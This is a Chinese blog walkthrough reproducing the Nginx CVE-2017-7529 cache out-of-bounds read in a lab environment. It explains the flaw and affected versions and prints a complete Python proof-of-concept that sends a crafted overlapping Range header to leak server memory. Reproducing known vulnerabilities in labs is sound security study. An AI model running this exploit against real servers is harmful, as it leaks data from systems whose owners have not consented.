Nginx越界读取缓存漏洞(CVE-2017-7529)

漏洞原理:

影响版本内默认配置模块的Nginx只需要开启缓存,攻击者可以通过发送包含恶意构造range域的header请求进行远程攻击造成信息泄露。

影响范围:

Nginx 0.5.6 -- 1.13.2

漏洞复现:

开启靶场,访问8080端口

中间件版本在影响范围内

使用poc验证漏洞:

复制代码
#!/usr/bin/env python
import sys
import requests

if len(sys.argv) < 2:
    print("%s url" % (sys.argv[0]))
    print("eg: python %s http://your-ip:8080/" % (sys.argv[0]))
    sys.exit()

headers = {
    'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
}
offset = 605
url = sys.argv[1]
file_len = len(requests.get(url, headers=headers).content)
n = file_len + offset
headers['Range'] = "bytes=-%d,-%d" % (
    n, 0x8000000000000000 - n)

r = requests.get(url, headers=headers)
print(r.text)

​​​​​​​

相关推荐
老张的张Z26 分钟前
CISSP 域5知识点 访问控制模型
网络·安全·信息安全
没头脑的猪1 小时前
PowerShell精准管控RDP端口安全
安全
信创DevOps先锋2 小时前
2025年中国CI/CD市场格局:安全与智能并重的技术突围战
安全·ci/cd·gitee·开源
xixixi777772 小时前
智算中心建设新范式:GPT-6/Rubin架构+1.6T光模块+量子安全网关+AI安全沙箱,算力·效率·安全·成本的最优平衡
人工智能·gpt·安全·机器学习·架构·大模型·通信
上海云盾王帅3 小时前
跨境电商安全防护实战指南:守护店铺稳定与交易安全的生命线
安全
ZeroNews内网穿透3 小时前
ZeroNews安全网关接入企业微信自建应用
网络·数据库·安全·云计算
信创DevOps先锋3 小时前
Gitee CodePecker SCA:构筑企业数字化安全防线的智能卫士
安全·gitee
wanhengidc3 小时前
云手机能够实现哪些功能?
大数据·运维·安全·智能手机
三阶码叟3 小时前
博图安全指令ACK_GL一键去钝化详解
安全·ack_gl·钝化·去钝化
Safeploy安策数据3 小时前
以数字身份认证为盾,为企业数字化转型筑牢安全屏障
网络·安全